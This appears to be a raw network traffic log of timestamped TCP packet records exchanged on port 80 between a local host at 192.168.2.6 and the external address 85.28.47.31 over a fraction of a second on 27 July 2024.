Jul 27, 2024 03:19:16.986882925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.986907959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.986913919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.986942053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.986951113 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.986979961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.986984015 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.987009048 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.987020969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.987047911 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.987710953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.987761974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.987824917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.987854958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.987876892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.987886906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.987896919 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.987921953 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.987929106 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.987955093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.987962961 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.987989902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.987996101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.988023043 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.988032103 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.988064051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.988734961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.988785028 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.988836050 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.988867044 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.988887072 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.988899946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.988909006 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.988933086 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.988945007 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.988965988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.988975048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989000082 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989006042 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989032984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989042997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989073992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989677906 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989746094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989751101 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989794970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989803076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989835978 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989845991 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989871025 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989877939 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989902973 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989912987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989938021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989947081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.989973068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.989978075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.990006924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.990015030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.990046024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.990053892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.990078926 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.990086079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.990111113 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.990118980 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.990145922 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.990158081 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.990179062 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.990189075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.990212917 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:16.990222931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:16.990252972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.037146091 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.037178993 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.037209988 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.037233114 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.037242889 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.037265062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.037275076 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.037302971 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.037308931 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.037331104 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.037341118 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.037354946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.037384987 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.038255930 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.038290024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.038312912 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.038321018 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.038331985 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.038355112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.038367033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.038387060 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.038398981 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.038422108 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.038434982 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.038454056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.038470030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.038501978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039350033 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039381981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039403915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039417028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039427996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039460897 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039483070 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039515972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039530993 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039549112 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039561033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039582014 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039594889 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039614916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039628029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039648056 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039660931 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039681911 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039695024 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039716005 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039727926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039750099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039762020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039783955 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039798021 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039817095 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.039829016 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.039863110 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040041924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040074110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040096045 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040107965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040115118 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040155888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040158987 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040190935 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040210962 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040225029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040235996 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040258884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040272951 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040293932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040306091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040327072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040340900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040360928 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040371895 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040394068 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040405989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040438890 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.040945053 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.040996075 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.041034937 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.041068077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.041085958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.041099072 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.041109085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.041143894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.069736958 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.069787979 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.069792986 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.069832087 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.069837093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.069871902 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.069895029 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.069904089 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.069916964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.069937944 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.069947958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.069972992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.069978952 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070005894 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070014000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070048094 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070723057 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070750952 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070781946 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070781946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070792913 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070820093 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070826054 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070852995 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070861101 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070888996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070899010 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070923090 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070930958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070955992 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.070965052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.070997000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.071496010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.071543932 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.071556091 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.071580887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.071583033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.071614981 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.071616888 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.071647882 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.071651936 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.071683884 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.071686983 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.071721077 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.071939945 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072005033 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.072617054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072664976 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072670937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.072700024 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072705030 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.072731972 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072736025 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.072767019 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072779894 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.072798967 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072804928 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.072833061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072834969 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.072865963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.072870970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.072902918 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.073713064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.073740959 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.073771000 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.073786974 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.074594021 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.074645996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.074654102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.074687958 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.074696064 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.074728966 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.074738979 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.074762106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.074769020 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.074795008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.074804068 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.074835062 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.075470924 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.075503111 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.075522900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.075536013 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.075567961 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.075597048 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.075603008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.075625896 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.075639009 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.075650930 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.075678110 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.075681925 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.075716972 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.076786041 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.076818943 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.076838970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.076858997 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.076869965 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.076904058 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.076919079 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.076939106 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.076950073 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.076972008 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.076983929 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.077006102 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.077016115 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.077039957 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.077052116 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.077080965 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.077785969 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.077835083 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.077838898 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.077869892 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.077882051 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.077903032 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.077910900 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.077949047 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.077975035 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078007936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078032970 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078042030 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078044891 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078071117 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078082085 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078110933 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078252077 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078303099 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078304052 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078340054 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078392029 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078411102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078411102 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078437090 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078444004 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078485012 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078495026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078527927 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078537941 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078560114 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078572989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078589916 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078604937 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078624010 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078636885 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078656912 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078665018 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078690052 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078699112 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078723907 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078728914 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078756094 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078764915 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078788996 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.078794003 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.078851938 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.125046968 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.125080109 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.125128984 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.125130892 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.125155926 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.125160933 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.125169992 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.125195026 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.125204086 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.125231028 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.125236988 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.125268936 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.125272989 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.125308990 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.126836061 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.126868963 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.126904964 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.126914978 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.126920938 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.126952887 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.126961946 CEST	49710	80	192.168.2.6	85.28.47.31
Jul 27, 2024 03:19:17.126986980 CEST	80	49710	85.28.47.31	192.168.2.6
Jul 27, 2024 03:19:17.126991987 CEST	49710	80	192.168.2.6	85.28.47.31
